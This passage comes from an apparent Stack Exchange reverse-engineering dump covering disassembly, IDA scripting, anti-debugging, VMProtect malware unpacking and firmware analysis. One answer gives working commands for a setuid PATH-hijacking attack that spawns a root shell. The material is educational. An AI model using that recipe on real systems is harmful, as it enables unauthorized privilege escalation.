href=\"https://en.wikipedia.org/wiki/Polymorphic_code\" rel=\"nofollow noreferrer\">polymophic programs</a> that dump themselves differently in RAM after each execution instance, where they often change their relative EP's and function call addresses in an evasive way against unpackers and any form of code tracking.</p>\n\n<p>A very strong guess that this stream of padded DATA either stored for cache purpose or steganographed should be preceded by a <code>JMP</code> instruction <code>CALL</code> or <code>RET</code>, otherwise, there must be a problem.</p>\n\n<p>See here an example of some debuggers/decompilers that recognize padded DB's and skip over them.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Zx59g.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Zx59g.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "17558",
        "CreationDate": "2018-02-28T20:52:23.523",
        "Body": "<p>I opened wsl.exe in IDA Pro v7 and follow some strings. I saw some strings with .cpp extension. Can anyone explain what are those .cpp file in that disassembly? Where can I find it? Are those hidden somewhere?</p>\n\n<p>Here is an example: <code>base\\subsys\\wsl\\lxss\\lxcmdlineshared\\svccomm.cpp</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/6OdvJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6OdvJ.png\" alt=\"IDA_cpp_file\"></a></p>\n",
        "Title": "What are the .cpp files in IDA disassembly",
        "Tags": "|ida|disassembly|windows-10|",
        "Answer": "<p>I commented and then I've read malikcjm answer </p>\n\n<p>So this is basically an extension of malikcjm's answer.</p>\n\n<p>Suppose you have a code like this and load the compiled exe into ida </p>\n\n<pre><code>#include &lt;stdio.h&gt;\nvoid main (void){\n    printf(\"%s\\n\" ,__FILE__);\n}\n</code></pre>\n\n<p>You will get the cpp file reference</p>\n\n<p><a href=\"https://i.stack.imgur.com/CxfpV.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/CxfpV.png\" alt=\"enter image description here\"></a></p>\n\n<p>these <code>__FILE__</code>, <code>__LINE__</code> etc are predefined macros that are defined in the C++ Standard as well as some Microsoft-specific predefined macros </p>\n\n<p>take a look <strong><a href=\"https://msdn.microsoft.com/en-us/library/b0084kay.aspx\" rel=\"noreferrer\">PRE_DEFINED_MACROS</a></strong> for a discussion and usage of these predefined macros</p>\n\n<p>these predefined macros are not restricted to debug mode alone; they can be used in release mode also</p>\n\n<p>here is example code that uses them in release mode</p>\n\n<pre><code>#include &lt;windows.h&gt;\n#pragma comment (lib , \"test.lib\")\n#pragma comment (lib , \"kernel32.lib\")\n#pragma comment (lib , \"user32.lib\")\n_declspec (dllexport) int  AddNum(int a, int b);\nchar buff[0x100] = { 0 };\nPCHAR timepass(int a, PCHAR b) {\n    wsprintfA(buff,\"%d %s\\n%s\\t%s\\t%s\\n\", a,b,__FUNCTION__,__FUNCDNAME__,__FUNCSIG__);\n    OutputDebugStringA(buff);\n    wsprintfA(buff,\"we are done passing time\\n\");\n    return buff;    \n}\nint main(void) {\n    wsprintfA(buff, \"3 + 5 = %x\\n\", AddNum(3, 5));\n    OutputDebugStringA(buff);\n    wsprintfA(buff, \"%s\\n\", __FILE__);\n    OutputDebugStringA(buff);\n    wsprintfA(buff, \"%s\\n\", __DATE__);\n    OutputDebugStringA(buff);\n    wsprintfA(buff, \"%d\\n\", __LINE__);\n    OutputDebugStringA(buff);\n    wsprintfA(buff, \"%s\\n\", __func__);\n    OutputDebugStringA(buff);\n    OutputDebugStringA(timepass(1337 , \"we are now going to pass time\"));\n    return 0;\n}\n</code></pre>\n\n<p>compiled and linked with </p>\n\n<pre><code> cl /nologo use%1.cpp /link /ENTRY:main /SUBSYSTEM:windows /RELEASE\n</code></pre>\n\n<p>executed in debugger would show </p>\n\n<pre><code>&gt;cdb -c \"g;q\" usetest.exe | tail -n 13\nDLL_PROCESS_ATTACH Called\n\n3 + 5 = 8\nusetest.cpp\nMar  1 2018\n20\nmain\n1337 we are now going to pass time\ntimepass        ?timepass@@YAPADHPAD@Z  char *__cdecl timepass(int,char *)\nwe are done passing time\nDLL_PROCESS_DETACH Called\nquit:\n</code></pre>\n\n<p>If a PDB is available we can get the so called leaks from them too an example of file paths from an ntdll pdb </p>\n\n<pre><code>e:\\cvdump&gt;cvdump -sf e:\\SYMBOLS\\ntdll.pdb\\120028FA453F4CD5A6A404EC37396A582\\ntdll.pdb &gt;&gt; leaks.txt\n\ne:\\cvdump&gt;wc -l leaks.txt\n860 leaks.txt\n\ne:\\cvdump&gt;grep \"daytona\" leaks.txt  | grep ldrs\n** Module: \"o:\\w7rtm.obj.x86fre\\minkernel\\ntdll\\daytona\\objfre\\i386\\ldrstart.obj\"\n** Module: \"o:\\w7rtm.obj.x86fre\\minkernel\\ntdll\\daytona\\objfre\\i386\\ldrsnap.obj\"\n</code></pre>\n"
    },
    {
        "Id": "17566",
        "CreationDate": "2018-03-01T08:45:44.870",
        "Body": "<p>I read an article on x64dbg blog(<a href=\"https://x64dbg.com/blog/2016/07/09/introducing-contemporary-reverse-engineering-technique-to-real-world-use.html\" rel=\"nofollow noreferrer\">https://x64dbg.com/blog/2016/07/09/introducing-contemporary-reverse-engineering-technique-to-real-world-use.html</a>) which mentions modern techniques of reverse engineering e.g., trace record, back tracing, Parallel debugging.\nWhat else modern techniques of reverse engineering you can tell?\nIs there any place I can learn all about it?(I don't expect too much on this)\nI'm learning reverse only on windows now, If I learn reverse engineering on Linux too will I learn more techniques?<br>\nEdit:<br>\nMore specific, What debug feature you think is useful but windbg don't have?</p>\n",
        "Title": "What are modern techniques of reverse engineering?",
        "Tags": "|debugging|x64dbg|",
        "Answer": "<p>If you're starting to study a new field you don't know much about, it is better to read some surveys which helps you to find recent work about the topic and presents some of the theoretical concepts used widely in that area.</p>\n\n<p>For your second question, most modern operating systems support similar software technologies for user-mode programs. It may be easier or harder to do some procedure in different systems but, most of the time you can do the same thing in other even if it is not equal semantically.</p>\n"
    },
    {
        "Id": "17576",
        "CreationDate": "2018-03-02T11:37:54.327",
        "Body": "<p>I have to exploit an application and I have only the 32-bit ELF excecutable, which is also stripped. Its a suid root application and when it is executed practically run the <code>ls -al</code> command for a specific directory that normally is inaccessible for normal users.</p>\n\n<p>Any advice about how to handle this problem?</p>\n",
        "Title": "How to exploit an suid root application",
        "Tags": "|elf|exploit|",
        "Answer": "<p>If the program is setuid, you can use the fact that it is calling the command <code>ls -al /tmp</code> through <code>system()</code> from the <code>main()</code> function.</p>\n\n<ol>\n<li><p>Create a file <code>ls</code> which contains:</p>\n\n<pre><code>#!/bin/sh\n/bin/sh\n</code></pre></li>\n<li><p>Set it as an executable script:</p>\n\n<pre><code>#&gt; chmod +x ./ls\n</code></pre></li>\n<li><p>Modify your <code>PATH</code> to point to the current directory:</p>\n\n<pre><code>#&gt; export PATH=.:${PATH}\n</code></pre></li>\n<li><p>Run the weak software (where you have the fake <code>ls</code> script):</p>\n\n<pre><code>#&gt; /path/to/test\n</code></pre></li>\n</ol>\n\n<p>Just a remark, the rest of the software seems to have been obfuscated, at least by renaming the subroutines into <code>sub_xxxx</code>. It may also contain other obfuscations.</p>\n"
    },
    {
        "Id": "17577",
        "CreationDate": "2018-03-02T13:05:16.610",
        "Body": "<p>I'm practicing windows disassembly on x64 notepad.exe</p>\n\n<p>I've managed to find buffer allocation and string resources load.\nBut after that follows code, which I can't fully understand:<br>\nrbx = 0, rdx = 0 before this part</p>\n\n<pre><code>            mov     r9, cs:str_res_guid_18 ;  dq 12h\n            lea     rcx, some_data         ;  some address\n            mov     edx, 28h\n            sub     r9, rcx        \n            mov     r8, rdx\n\nloc_100003150: \n            lea     rax, [r8+7FFFFFD6h]    ; what is this number?\n            cmp     rax, rbp\n            jz      short loc_100003173\n            movzx   eax, word ptr [rcx+r9] ; str_res_guid_18\n            cmp     ax, bp\n            jz      short loc_100003173\n            mov     [rcx], ax\n            add     rcx, 2\n            sub     r8, 1\n            jnz     short loc_100003150\n\nloc_100003173: \n            cmp     r8, rbp\n            jz      loc_1000058A0\n</code></pre>\n\n<p>What does 7FFFFFD6h stands for? And why is it compared against null?</p>\n",
        "Title": "Magic number in resource loading routine",
        "Tags": "|windows|x86-64|winapi|",
        "Answer": "<p>This seems to be an optimized wchar_t string copy. The compiler took advantage of the fact that there is a fixed offset between source and destination. Ignoring the  lea  check, the assembly could be represented by this pseudocode:</p>\n\n<pre><code>wchar_t *dst = &amp;some_data; //rcx\nwchar_t *src = ?; //r9\ndelta = src-dst; //r9 =r9-dst\nmaxc = 0x28; //r8\n\nloop:\n wchar_t ch = dst[delta]; (dst+(src-dst) = src, so ch=src[i];)\n if ( ch==0 ) break;\n *dst = ch;\n dst++;\n maxc--;\n if ( maxc!=0 ) goto loop;\n</code></pre>\n\n<p>Now let's look at the mysterious <code>lea</code>. First thing you need to remember that it's basically just a fancy <code>mov</code>, and the operands are not necessarily addresses.</p>\n\n<p>so let's take <code>lea     rax, [r8+7FFFFFD6h]</code> and do some math:</p>\n\n<pre><code>rax = r8+0x7FFFFFD6\n</code></pre>\n\n<p>multiply both sides by 2:</p>\n\n<pre><code>2*rax = 2*r8+0xFFFFFFAC\n</code></pre>\n\n<p>treat number as signed:</p>\n\n<pre><code>2*rax = 2*r8-0x54\n</code></pre>\n\n<p>now divide:</p>\n\n<pre><code>rax = r8 - 0x2a\n</code></pre>\n\n<p>so testing rax==0 is the same as r8==0x2a. Possibly the code is checking that number of characters to copy is not greater than the buffer size. </p>\n"
    },
    {
        "Id": "17578",
        "CreationDate": "2018-03-02T14:20:06.090",
        "Body": "<p>Frameworks like <a href=\"https://github.com/trailofbits/mcsema\" rel=\"nofollow noreferrer\">mcsema</a> is used to convert an executable file into LLVM bitcode which can be further used to perform program analysis.</p>\n\n<p>Is there any way to convert an object file in the similar way?</p>\n",
        "Title": "Converting object file to LLVM bitcode",
        "Tags": "|binary-analysis|",
        "Answer": "<p>Certainly, there are at least two ways I can think of:</p>\n\n<ul>\n<li><p>Add support for object file parsing to McSema</p></li>\n<li><p>Link the object file into a dummy executable and parse that. </p></li>\n</ul>\n\n<p>You could also write your own lifter to llvm IR that works on object files :)</p>\n"
    },
    {
        "Id": "17584",
        "CreationDate": "2018-01-26T06:21:52.430",
        "Body": "<p>I'm trying to Patch a 32bit ELF file with Hopper disassembler</p>\n\n<p>The ASM code I use is like the following</p>\n\n<pre><code>mov dword ptr [eax], 15\n</code></pre>\n\n<p>But when I enter that expression, Hopper consider it as invalid? It works perfectly in IDA and I'm not sure why</p>\n\n<p><a href=\"https://i.stack.imgur.com/s2AES.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/s2AES.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Any ideas?</p>\n",
        "Title": "mov dword ptr[eax], 1 is invalid in Hopper Disassembler?",
        "Tags": "|hopper|",
        "Answer": "<p>I've checked version v3 and yes, it does not work with such instruction and it does work in v4. There are few <a href=\"https://www.hopperapp.com/bugtracker/index.php?project=1&amp;do=index\" rel=\"nofollow noreferrer\">bug reports</a> that might be related to such issues.</p>\n\n<ul>\n<li>FS#155</li>\n<li>FS#162</li>\n</ul>\n\n<p>Unfortunately I couldn't find if there is any workaround for this apart from installing a latest one.</p>\n"
    },
    {
        "Id": "17586",
        "CreationDate": "2018-03-03T11:43:36.580",
        "Body": "<p>I using x86dbg and am working on unpacking a target. The unpacking stub appears to be using some anti-debugging techniques - most of which I can detour with a plugin. </p>\n\n<p>However, there are a lot of occurrences of rdtsc in the code. The code is being generated / unpacked throughout execution so I cannot simply search for all instances of the instruction.</p>\n\n<p>I have tried running a trace with a condition to break when rdtsc is found but it is simply way to slow and tedious; especially since rdtsc is sometimes used in loops and it isn't as simple as just noping them out since a comparison takes place much later in the stub (it is also hard to identify where due to the excessive junk code.)</p>\n\n<p>Any help would be greatly appreciated,</p>\n\n<p>Thanks.</p>\n",
        "Title": "How can I circumvent rdtsc when used as an anti-debugger technique?",
        "Tags": "|x86|unpacking|dynamic-analysis|anti-debugging|",
        "Answer": "<p>there are a few fake rdtsc drivers floating around     </p>\n\n<p>or if you have windbg attached in kernel mode you can toggle cr4.TSD bit and catch the exception  iirc there is a script floating for that too but a fleeting google didn't land me that now  ill link it later </p>\n\n<p>edit <strong><a href=\"https://github.com/vallejocc/Reverse-Engineering-Arsenal/blob/master/WinDbg/anti_antidebug_rdtsc.wdbg\" rel=\"nofollow noreferrer\">anti rdtsc windbg script by vallejocc</a></strong></p>\n\n<p>here is a small demo </p>\n\n<pre><code>kd&gt; r cr4\ncr4=00000699\n\nkd&gt; r cr4 = 69d\nkd&gt; r cr4    \ncr4=0000069d\nkd&gt; g    \n\n *** Unhandled exception **0xc0000096**, hit in C:\\Windows\\system32\\svchost.exe -k netsvcs:\n\n *** enter .exr 03C0F78C for the exception record\n ***  enter .cxr 03C0F7A0 for the context\n *** then kb to get the faulting stack\n\nBreak instruction exception - code 80000003 (first chance)\nntdll!RtlUnhandledExceptionFilter2+0x2ab:\n001b:7743d10d cc              int     3\n\nkd&gt; .exr 03C0F78C\nExceptionAddress: 6dbb1358\n   ExceptionCode: c0000096\n  ExceptionFlags: 00000000\nNumberParameters: 0\n\nkd&gt; .cxr 03C0F7A0\neax=1d218944 ebx=00000000 ecx=1ee17334 edx=0000021a esi=042708e0 edi=00000000\neip=6dbb1358 esp=03c0fa84 ebp=03c0fb08 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\n001b:6dbb1358 0f31            rdtsc  &lt;&lt;&lt;&lt;&lt;&lt;\nkd&gt; kb\n  *** Stack trace for last set context - .thread/.cxr resets it\n # ChildEBP RetAddr  Args to Child              \nWARNING: Frame IP not in any known module. Following frames may be wrong.\n00 03c0fb08 6dbb150f 04270808 002767b0 03c0fb3c 0x6dbb1358\n</code></pre>\n"
    },
    {
        "Id": "17593",
        "CreationDate": "2018-03-04T09:06:47.800",
        "Body": "<p>I always write ad-hoc code to get the values passed to function calls, like finding the XRef to a function and then tracking back disassembly to find some specific MOV or PUSH instruction. For example, in the following example:</p>\n\n<pre><code>.text:080488B1                 push    [ebp+gid]\n.text:080488B4                 push    [ebp+gid]       ; gid\n.text:080488B7                 call    setregid\n</code></pre>\n\n<p>I would find the XRefs to setregid and then find \"push instructions\". Or, in the next example:</p>\n\n<pre><code>LOAD:FFFFFFFF824047A4                 mov     rdi, exec_map\nLOAD:FFFFFFFF824047AC                 mov     esi, 40400h\nLOAD:FFFFFFFF824047B1                 call    kmem_alloc_wait\n</code></pre>\n\n<p>I would find the XRef to kmem_alloc_wait and then find before that call the values set to the registers RDI, RSI, RDX, RCX... And for each new processor, I would have to re-write again my code to handle the specific calling convention(s) of that CPU or VM. However, I'm sure there must be some proper way of getting the argument values to function calls, from IDAPython, in a CPU agnostic way.</p>\n\n<p>So, do you know any way of getting the values passed to a function call from IDAPython that doesn't rely on parsing disassembly?</p>\n",
        "Title": "IDAPython: How to get function argument values",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Answering my own question: I sent an email to Hex-Rays and got back the answer in like minutes. The answer is using <code>idaapi.get_arg_addrs()</code>.</p>\n\n<p>For example, given the following code:</p>\n\n<pre><code>LOAD:FFFFFFFF82491188                 mov     rdi, offset unk_FFFFFFFF832EF148 ; a1\nLOAD:FFFFFFFF8249118F                 mov     rsi, rbx        ; a2\nLOAD:FFFFFFFF82491192                 xor     edx, edx        ; a3\nLOAD:FFFFFFFF82491194                 xor     ecx, ecx\nLOAD:FFFFFFFF82491196                 xor     r8d, r8d\nLOAD:FFFFFFFF82491199                 call    _sx_xlock_hard\n</code></pre>\n\n<p>By running idaapi.get_arg_address(0xFFFFFFFF82491199) it would return the address of the 3 arguments in the order they are given when the function is called:</p>\n\n<pre><code>Python&gt;print map(hex, idaapi.get_arg_addrs(here()))\n['0xffffffff82491188L', '0xffffffff8249118fL', '0xffffffff82491192L']\n</code></pre>\n"
    },
    {
        "Id": "17604",
        "CreationDate": "2018-03-04T21:58:49.510",
        "Body": "<p>I've been trying to reverse engineer a malware that has been packed with <code>VMProtect v3.0</code>. My first instinct was to google an automated way for this and I found a script. Unfortunately the script to unpack <code>VMProtect</code> protected binary does not work with version 3.0.</p>\n\n<p>So far I've seen that the packer changes the access rights of the sections to be writable, decrypts the original code and writes the code to the sections then changes the access rights for those sections back to their initial values. I saw that by putting breakpoint on the <code>VirtualProtect</code> API. After the final call to <code>VirtualProtect</code> I put the access breakpoint on the sections that had <code>executable</code> right and when my breakpoint was hit I expected it to be the <code>OEP</code> but when I dumped the process it did not run.</p>\n\n<p>From my research I understand that you need to rebuild the <code>IAT</code> and tools like <code>UIF</code> &amp; <code>Scylla</code> won't be any help. Can you give me some tips on how to find the <code>OEP</code> or how to deal with this kind of packing mechanism in general?</p>\n\n<p>P.S. This is the first time I am dealing with <code>VMProtect</code> protected malware.</p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>Sha256 Hash: <code>8200755cbedd6f15eecd8207eba534709a01957b172d7a051b9cc4769ddbf233</code></p>\n",
        "Title": "Finding OEP in a VMProtect v3.0 protected malware",
        "Tags": "|malware|unpacking|anti-debugging|anti-dumping|",
        "Answer": "<p>Set a breakpoint on the \"VM exit\" instruction (though there may be more than one of these if the sample is using the multiple VM option, whose proper name I don't recall). From here you can see where the VM transfers control when it exits. It will exit several times during \"packer\" mode. Eventually it will exit to OEP.</p>\n"
    },
    {
        "Id": "17608",
        "CreationDate": "2018-03-05T11:01:26.940",
        "Body": "<p>Some symbols (from symbol table) in ELF-file belong to special sections (<em>COMMON</em>, <em>ABS</em>, <em>UNDEF</em>).</p>\n\n<p>IDA creates virtual sections for this symbols.</p>\n\n<p><strong>Subject</strong>: What is the rule (or set of rules) which IDA use to create these special sections (start address, size, alignment)?</p>\n",
        "Title": "How does IDA create COMMON, ABS and EXTERN segments of ELF-file?",
        "Tags": "|ida|elf|",
        "Answer": "<p>According to IDA's ELF-loader and some tests.</p>\n\n<p>The order of sections in <strong>REL-file</strong>:</p>\n\n<ol>\n<li>COMMON </li>\n<li>ABS</li>\n<li>EXTERN</li>\n</ol>\n\n<p>The order of sections in <strong>EXEC-file</strong> (there is no COMMON section):</p>\n\n<ol>\n<li>EXTERN </li>\n<li>ABS</li>\n</ol>\n\n<p>The <strong>rules of section creation</strong> are:</p>\n\n<ol>\n<li>Take the adress after last real section</li>\n<li>Calculate the size of each virtual section = <code>number_of_symbols * 4</code></li>\n<li>Create all needed virtual sections according to the right order</li>\n<li>Fill all virtual sections with the corresponding symbols from symtab</li>\n<li>Set <em>End</em>-address for each virtual section according to the real number of bytes (based on number of symbols in the section)</li>\n</ol>\n"
    },
    {
        "Id": "17611",
        "CreationDate": "2018-03-05T19:36:45.563",
        "Body": "<p>I've be on with the application for a while now and have pinpointed some interested functions, I would like to be able to implement them in to another application but I'm not sure how to get them \"out\" of IDA.</p>\n\n<p>I was going to try and copy the ASM code and use that, then I found how to decompile it into some Pseudo readable Code, but I can't get it to compile again as I don't have enough experience with C.</p>\n\n<p>Here is the code it generated:</p>\n\n<pre><code>int __usercall sub_10001000@&lt;eax&gt;(unsigned int a1@&lt;eax&gt;, int a2@&lt;ecx&gt;)\n    {\n      unsigned __int16 v2; // dx@1\n      unsigned int v3; // eax@1\n\n      v2 = (unsigned __int8)a1;\n      v3 = a1 &gt;&gt; 8;\n\n      return *(_DWORD *)(a2 + 4 * v2 + 3144)\n      + (*(_DWORD *)(a2 + 4 * (unsigned __int8)v3 + 2120) ^ (*(_DWORD *)(a2 \n      + 4 * BYTE1(v3) + 1096) + *(_DWORD *)(a2 + 4 * ((unsigned __int16)(v3 \n      &gt;&gt; 8) &gt;&gt; 8) + 72)));\n    }\n</code></pre>\n\n<p>I'd like to understand what this code does and to hopefully recreate it.</p>\n\n<p>Would anyone be so kind as to write out a function what performs the same task ?</p>\n",
        "Title": "help needed to understand this pseudo code from ida and possibly recreate it",
        "Tags": "|ida|c|",
        "Answer": "<p>The thing about \"decompiled\" code is, it doesn't really say much about what the author was trying to do. It is simply the compiler's view on what the code meant, and the compiler will optimize away most of the readability. :P</p>\n\n<p>Take that \"decompiled\" function, and first off, let's turn it into compilable C.\nFor the most part, that just means stripping off the <code>@&lt;register&gt;</code> stuff from the function and parameter names. We don't care about registers any more. That's the compiler's job. :P</p>\n\n<pre><code>int sub_10001000(unsigned int a1, int a2)\n{\n  unsigned __int16 v2;\n  unsigned int v3;\n\n  v2 = (unsigned __int8)a1;\n  v3 = a1 &gt;&gt; 8;\n\n  return *(_DWORD *)(a2 + 4 * v2 + 3144)\n  + (*(_DWORD *)(a2 + 4 * (unsigned __int8)v3 + 2120) ^ (*(_DWORD *)(a2 \n  + 4 * BYTE1(v3) + 1096) + *(_DWORD *)(a2 + 4 * ((unsigned __int16)(v3 \n  &gt;&gt; 8) &gt;&gt; 8) + 72)));\n}\n</code></pre>\n\n<p>Now...see all that <code>*(_DWORD *)</code> stuff? It happens every time we use <code>a2</code>. That hints that <code>a2</code> should be a <code>_DWORD *</code>. Note that when we do that, C will change what <code>a2 + (whatever)</code> means. (It'll add (whatever) * the size of a <code>_DWORD</code>, which is almost certainly 4.) We also have to adjust the stuff inside so that instead of adding 4 * X, we simply add X.</p>\n\n<pre><code>int sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  unsigned __int16 v2;\n  unsigned int v3;\n\n  v2 = (unsigned __int8)a1;\n  v3 = a1 &gt;&gt; 8;\n\n  // 786 = 3144/4, 530 = 2120/4, 274 = 1096/4, 18 = 72/4\n  return *(a2 + v2 + 786) \n  + (*(a2 + (unsigned __int8)v3 + 530) ^ (*(a2\n  + BYTE1(v3) + 274) + *(a2 + ((unsigned __int16)(v3\n  &gt;&gt; 8) &gt;&gt; 8) + 18)));\n}\n</code></pre>\n\n<p>Now, look at the things we're doing with <code>v2</code> and <code>v3</code>. Converting them to 8-bit unsigned integers, shifting them by 8...taking \"byte 1\"...etc. And it's all based on <code>a1</code>. Basically, this code is treating <code>a1</code> not as one 32-bit integer, but as <em>four 8-bit integers</em>.</p>\n\n<ul>\n<li><code>v2</code> is <code>a1</code> converted to an unsigned byte. The effect that <code>v2</code> is the least significant, ie: first, byte of <code>a1</code>. <code>v3</code> is the remaining three bytes.</li>\n<li><code>(unsigned __int8)v3</code> is the first byte of <code>v3</code>, making it the second byte of <code>a1</code>.</li>\n<li><code>BYTE1(v3)</code> uses a function/macro/whatever that is apparently built into IDA. It represents the second byte of <code>v3</code>, and the third byte of <code>a1</code>.</li>\n<li><code>((unsigned __int16)(v3 &gt;&gt; 8) &gt;&gt; 8)</code> contains an unnecessary cast, a side effect of decompilation. (<code>v3</code> is a 24-bit quantity in a 32-bit package, but the decompiler wasn't smart enough to remember that. So it added the cast in order to lop off the high byte, which is already provably zero.) It is equal to <code>v3 &gt;&gt; 16</code>, which is equivalent to <code>a1 &gt;&gt; 24</code>, and thus to the fourth byte of <code>a1</code>.</li>\n</ul>\n\n<p>Let's add that observation to the code.</p>\n\n<pre><code>int sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  unsigned __int16 v2;\n  unsigned int v3;\n  unsigned __int8 b0, b1, b2, b3;\n\n  v2 = (unsigned __int8)a1;\n  v3 = a1 &gt;&gt; 8;\n\n  b0 = v2;\n  b1 = (unsigned __int8) v3;\n  b2 = (unsigned __int8) (a1 &gt;&gt; 16);\n  b3 = (unsigned __int8) (a1 &gt;&gt; 24);\n\n  return *(a2 + b0 + 786) + (*(a2 + b1 + 530) ^ (*(a2 + b2 + 274) + *(a2 + b3 + 18)));\n}\n</code></pre>\n\n<p>C says that <code>*(pointer + offset)</code> and <code>pointer[offset]</code> are equivalent. Let's see if this increases readability any.</p>\n\n<pre><code>int sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  unsigned __int16 v2;\n  unsigned int v3;\n  unsigned __int8 b0, b1, b2, b3;\n\n  v2 = (unsigned __int8)a1;\n  v3 = a1 &gt;&gt; 8;\n\n  b0 = v2;\n  b1 = (unsigned __int8) v3;\n  b2 = (unsigned __int8) (a1 &gt;&gt; 16);\n  b3 = (unsigned __int8) (a1 &gt;&gt; 24);\n\n  return a2[b0 + 786] + (a2[b1 + 530] ^ (a2[b2 + 274] + a2[b3 + 18]));\n}\n</code></pre>\n\n<p>So the formula even fits on one line now.</p>\n\n<p>Now, since we no longer use <code>v2</code> and <code>v3</code> in the function (aside from calculating the byte values, and we can do that ourselves), we can get rid of them.</p>\n\n<pre><code>int sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  unsigned __int8 b0, b1, b2, b3;\n\n  b0 = a1;\n  b1 = a1 &gt;&gt; 8;\n  b2 = a1 &gt;&gt; 16;\n  b3 = a1 &gt;&gt; 24;\n\n  return a2[b0 + 786] + (a2[b1 + 530] ^ (a2[b2 + 274] + a2[b3 + 18]));\n}\n</code></pre>\n\n<p>C has an 8-bit-integer type: <code>uint8_t</code>. And every modern C compiler knows about it. So we can get rid of these compiler-specific names.</p>\n\n<p>Also, since C99, we can declare a variable where it's first initialized.</p>\n\n<pre><code>#include &lt;stdint.h&gt;\n\nint sub_10001000(unsigned int a1, _DWORD * a2)\n{\n  uint8_t b0 = a1;\n  uint8_t b1 = a1 &gt;&gt; 8;\n  uint8_t b2 = a1 &gt;&gt; 16;\n  uint8_t b3 = a1 &gt;&gt; 24;\n\n  return a2[b0 + 786] + (a2[b1 + 530] ^ (a2[b2 + 274] + a2[b3 + 18]));\n}\n</code></pre>\n\n<p>Notice now, also...when you put the numbers in order, any two adjacent numbers will have the same difference between them (256). And the first value is not at <code>0</code>, but at <code>18</code>. Looks like <code>a2</code> is actually being treated as a pointer to a struct that looks somewhat like this (as far as we can see)...</p>\n\n<pre><code>struct example {\n    DWORD unknown[18];\n    DWORD w[256];\n    DWORD x[256];\n    DWORD y[256];\n    DWORD z[256];\n};\n</code></pre>\n\n<p>which would be used like...</p>\n\n<pre><code>#include &lt;stdint.h&gt;\n\nint sub_10001000(unsigned int a1, struct example *ex)\n{\n    uint8_t b0 = a1;\n    uint8_t b1 = a1 &gt;&gt; 8;\n    uint8_t b2 = a1 &gt;&gt; 16;\n    uint8_t b3 = a1 &gt;&gt; 24;\n\n    return ex-&gt;z[b0] + (ex-&gt;y[b1] ^ (ex-&gt;x[b2] + ex-&gt;w[b3]));\n}\n</code></pre>\n\n<p>But we can't know much more from this code alone -- including what the function is supposed to do -- so it's impossible to come up with much more meaningful names. The rest of the code should help with that.</p>\n"
    },
    {
        "Id": "17612",
        "CreationDate": "2018-03-05T20:33:10.620",
        "Body": "<p>When I run binwalk on a abs firmware that I'm trying to unpack, the output shows several \"Unix path\" entries</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n8661260       0x84290C        Certificate in DER format (x509 v3), header length: 4, sequence length: 14208\n8757216       0x859FE0        Base64 standard index table\n8808844       0x86698C        Base64 standard index table\n8827264       0x86B180        SHA256 hash constants, little endian\n8832168       0x86C4A8        SHA256 hash constants, little endian\n8951496       0x8896C8        Base64 standard index table\n9010196       0x897C14        SHA256 hash constants, little endian\n9091512       0x8AB9B8        Base64 standard index table\n9123428       0x8B3664        CRC32 polynomial table, little endian\n9151395       0x8BA3A3        Copyright string: \"Copyright 1995-2003 Jean-loup Gailly \"\n9151564       0x8BA44C        CRC32 polynomial table, little endian\n9201972       0x8C6934        Copyright string: \"Copyright (C) 2013, Thomas G. Lane, Guido Vollbeding\"\n9253344       0x8D31E0        Unix path: /usr/app/.vpn.key\n9282390       0x8DA356        Copyright string: \"Copyrights   : %s\"\n9342840       0x8E8F78        Unix path: /etc/Wireless/RT2870STA/e2p.bin\n9354428       0x8EBCBC        Unix path: /etc/Wireless/RT2870AP/RT2870AP.dat\n9357504       0x8EC8C0        XML document, version: \"1.0\"\n9359180       0x8ECF4C        Unix path: /var/lib/share/MT7601/MT7601EEPROM.bin\n9385369       0x8F3599        Copyright string: \"copyright (c) 2001-8 by D.I. Management Services Pty Limited &lt;www.di-mgt.com.au&gt;, and is used with permission.\"\n9400932       0x8F7264        HTML document header\n9401331       0x8F73F3        HTML document footer\n9403016       0x8F7A88        XML document, version: \"1.0\"\n9440752       0x900DF0        Unix path: /usr/local/ssl/private\n9450924       0x9035AC        Ubiquiti firmware header, third party, ~CRC32: 0x6974730A, version: \"SSL_init\"\n9526724       0x915DC4        XML document, version: \"1.0\"\n9528496       0x9164B0        XML document, version: \"1.0\"\n9530608       0x916CF0        XML document, version: \"1.0\"\n9531916       0x91720C        XML document, version: \"1.0\"\n9534644       0x917CB4        XML document, version: \"1.0\"\n9541444       0x919744        XML document, version: \"1.0\"\n9545824       0x91A860        XML document, version: \"1.0\"\n9547748       0x91AFE4        XML document, version: \"1.0\"\n9552720       0x91C350        XML document, version: \"1.0\"\n9557152       0x91D4A0        XML document, version: \"1.0\"\n9573672       0x921528        XML document, version: \"1.0\"\n9579428       0x922BA4        XML document, version: \"1.0\"\n9611684       0x92A9A4        XML document, version: \"1.0\"\n9613432       0x92B078        HTML document footer\n9613440       0x92B080        HTML document header\n9618912       0x92C5E0        XML document, version: \"1.0\"\n10022232      0x98ED58        CRC32 polynomial table, little endian\n10046884      0x994DA4        CRC32 polynomial table, little endian\n10243368      0x9C4D28        JPEG image data, JFIF standard 1.01\n10243398      0x9C4D46        TIFF image data, big-endian, offset of first image directory: 8\n10249176      0x9C63D8        JPEG image data, JFIF standard 1.01\n10249206      0x9C63F6        TIFF image data, big-endian, offset of first image directory: 8\n10251812      0x9C6E24        PNG image, 120 x 120, 8-bit/color RGB, non-interlaced\n10251903      0x9C6E7F        Zlib compressed data, compressed\n10258248      0x9C8748        PNG image, 48 x 48, 8-bit/color RGB, non-interlaced\n</code></pre>\n\n<p>How to go about unpacking or mounting this filesystem, 